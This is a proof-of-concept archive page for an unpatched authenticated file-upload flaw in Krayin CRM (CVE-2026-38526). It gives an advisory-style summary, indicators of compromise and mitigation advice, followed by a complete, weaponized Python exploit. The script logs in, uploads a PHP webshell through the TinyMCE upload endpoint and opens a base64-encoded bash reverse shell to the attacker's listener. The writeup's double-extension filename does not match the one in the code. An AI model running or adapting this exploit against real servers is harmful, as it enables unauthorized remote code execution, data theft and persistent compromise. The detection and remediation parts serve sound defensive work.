PoC Archive PoC Archive
Critical CVE-2026-38526 unpatched

Krayin CRM — TinyMCE Upload Unrestricted File Upload to RCE (CVE-2026-38526)

by pawpic · 2026-07-05

Severity
Critical
CVE
CVE-2026-38526
Category
web
Affected product
Krayin CRM
Affected versions
<= 2.2.x
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherpawpic
CVE / AdvisoryCVE-2026-38526
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagskrayin-crm, laravel, unrestricted-file-upload, tinymce, rce, reverse-shell, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemKrayin CRM
Versions Affected<= 2.2.x
Language / PlatformPython (PoC) targeting PHP/Laravel web app
Authentication RequiredYes (valid login credentials)
Network Access RequiredYes

Summary

Krayin CRM’s TinyMCE rich-text editor upload endpoint (/admin/tinymce/upload) fails to properly restrict uploaded file types, allowing an authenticated user to bypass the upload filter using a double-extension technique and upload a PHP webshell. Once uploaded, the attacker can access the file directly to execute arbitrary commands or spawn a reverse shell on the server. The included exploit fully automates Laravel login (with CSRF token handling), file upload, and shell interaction.


Vulnerability Details

Root Cause

The /admin/tinymce/upload endpoint does not adequately validate uploaded file extensions/content, permitting PHP files disguised via a double extension to be stored in a web-accessible location (CWE-434).

Attack Vector

  1. Authenticate to Krayin CRM with valid user credentials.
  2. Submit a crafted double-extension file (e.g. shell.php.png) to the TinyMCE upload endpoint, bypassing extension filtering.
  3. Request the uploaded file’s resulting URL to execute the embedded PHP payload.
  4. Use the resulting code execution to run commands or establish a reverse shell.

Impact

Full remote code execution on the Krayin CRM host as the web server user, enabling data theft, lateral movement, or persistent backdoor installation.


Environment / Lab Setup

Target:   Krayin CRM <= 2.2.x (PHP/Laravel)
Attacker: python3, requests, beautifulsoup4, nc (for reverse shell listener)

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -u http://example.com -e user@example.com -p "example_pass" --lhost YOUR_IP --lport 4444

The script logs into Krayin CRM (handling Laravel CSRF tokens), uploads a PHP webshell via the vulnerable TinyMCE endpoint using a double-extension bypass, and either executes a single command (-c) or connects back a reverse shell to the attacker’s listener.


Detection & Indicators of Compromise

POST /admin/tinymce/upload HTTP/1.1
GET /storage/tinymce/<payload>.php.png HTTP/1.1

Signs of compromise:

  • Uploaded files in the TinyMCE storage directory with double or suspicious extensions
  • Outbound reverse-shell connections originating from the CRM host

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationEnforce strict single-extension/MIME-type allowlisting on the TinyMCE upload endpoint; store uploads outside the web root or disable PHP execution in the upload directory

References


Notes

Mirrored from https://github.com/pawpic/CVE-2026-38526-POC on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import requests
from bs4 import BeautifulSoup
import re
import argparse
import sys
import base64

# ====================== ARGUMENTS ======================
parser = argparse.ArgumentParser(description="CVE-2026-38526 - Krayin CRM Arbitrary File Upload to RCE")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. http://example.com)")
parser.add_argument("-e", "--email", required=True, help="Email for authentication")
parser.add_argument("-p", "--password", required=True, help="Password for authentication")
parser.add_argument("-c", "--cmd", help="Execute a single command instead of reverse shell")
parser.add_argument("--lhost", help="Your IP address for reverse shell")
parser.add_argument("--lport", type=int, default=4444, help="Your listening port (default: 4444)")

args = parser.parse_args()

if not args.cmd and not args.lhost:
    print("[-] Error: You must provide either --cmd or --lhost for reverse shell")
    sys.exit(1)

BASE_URL = args.url.rstrip("/")
LOGIN_URL = f"{BASE_URL}/admin/login"

# ====================== WEBSHELL PAYLOAD ======================
PAYLOAD = """<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
"""
# =========================================================

session = requests.Session()
session.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
})

# ====================== LOGIN ======================
print("[*] Logging in...")
r = session.get(LOGIN_URL)

soup = BeautifulSoup(r.text, 'html.parser')
token_input = soup.find("input", {"name": "_token"})
csrf_token = token_input["value"] if token_input else None

if not csrf_token:
    match = re.search(r'name=["\']_token["\'] value=["\']([^"\']+)', r.text)
    csrf_token = match.group(1) if match else None

if not csrf_token:
    print("[-] Failed to retrieve CSRF token")
    exit(1)

print(f"[+] CSRF token retrieved: {csrf_token[:30]}...")

login_data = {
    'email': args.email,
    'password': args.password,
    '_token': csrf_token
}

login_resp = session.post(LOGIN_URL, data=login_data)

if login_resp.status_code != 200 or "/admin" not in login_resp.url.lower():
    print("[-] Login failed")
    print(f"Final URL: {login_resp.url}")
    exit(1)

print("[+] Login successful")

# ====================== REFRESH CSRF TOKEN ======================
print("[*] Refreshing CSRF token...")
refresh = session.get(f"{BASE_URL}/admin/mail/inbox")
soup = BeautifulSoup(refresh.text, 'html.parser')
new_token = soup.find("input", {"name": "_token"})
if new_token and new_token.get("value"):
    csrf_token = new_token["value"]

session.headers.update({'X-CSRF-TOKEN': csrf_token})

# ====================== UPLOAD WEBSHELL ======================
print("[*] Uploading webshell...")

files = {
    'file': ('shell.png.php', PAYLOAD, 'image/jpeg')
}

data = {'_token': csrf_token}

upload_resp = session.post(
    f"{BASE_URL}/admin/tinymce/upload",
    files=files,
    data=data
)

if upload_resp.status_code != 200:
    print("[-] Upload failed")
    print(upload_resp.text[:600])
    exit(1)

try:
    result = upload_resp.json()
    location = result.get('location') or result.get('url') or result.get('path')
    shell_url = location if location.startswith('http') else BASE_URL + location
    print(f"[+] Webshell uploaded: {shell_url}")
except:
    print("[-] Failed to parse upload response")
    exit(1)

# ====================== EXECUTION ======================
if args.cmd:
    # Single command mode
    print(f"\n[*] Executing command: {args.cmd}")
    response = session.get(f"{shell_url}?cmd={args.cmd}")
    print(response.text.strip())

else:
    # Reverse shell mode (default)
    print(f"\n[*] Preparing reverse shell to {args.lhost}:{args.lport}")
    print("[!] Make sure your listener is running:")
    print(f"    nc -lvnp {args.lport}")
    input("\n[+] Press Enter when your netcat listener is ready...")

    # Base64 encoded reverse shell
    rev_cmd = f"/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
    b64_payload = base64.b64encode(rev_cmd.encode('utf-8')).decode('utf-8')
    
    final_cmd = f"echo '{b64_payload}' | base64 -d | bash"

    print("[*] Sending encoded reverse shell...")
    session.get(f"{shell_url}?cmd={final_cmd}")
    print("[+] Reverse shell payload sent! Check your listener.")

print("\n[+] Exploit finished.")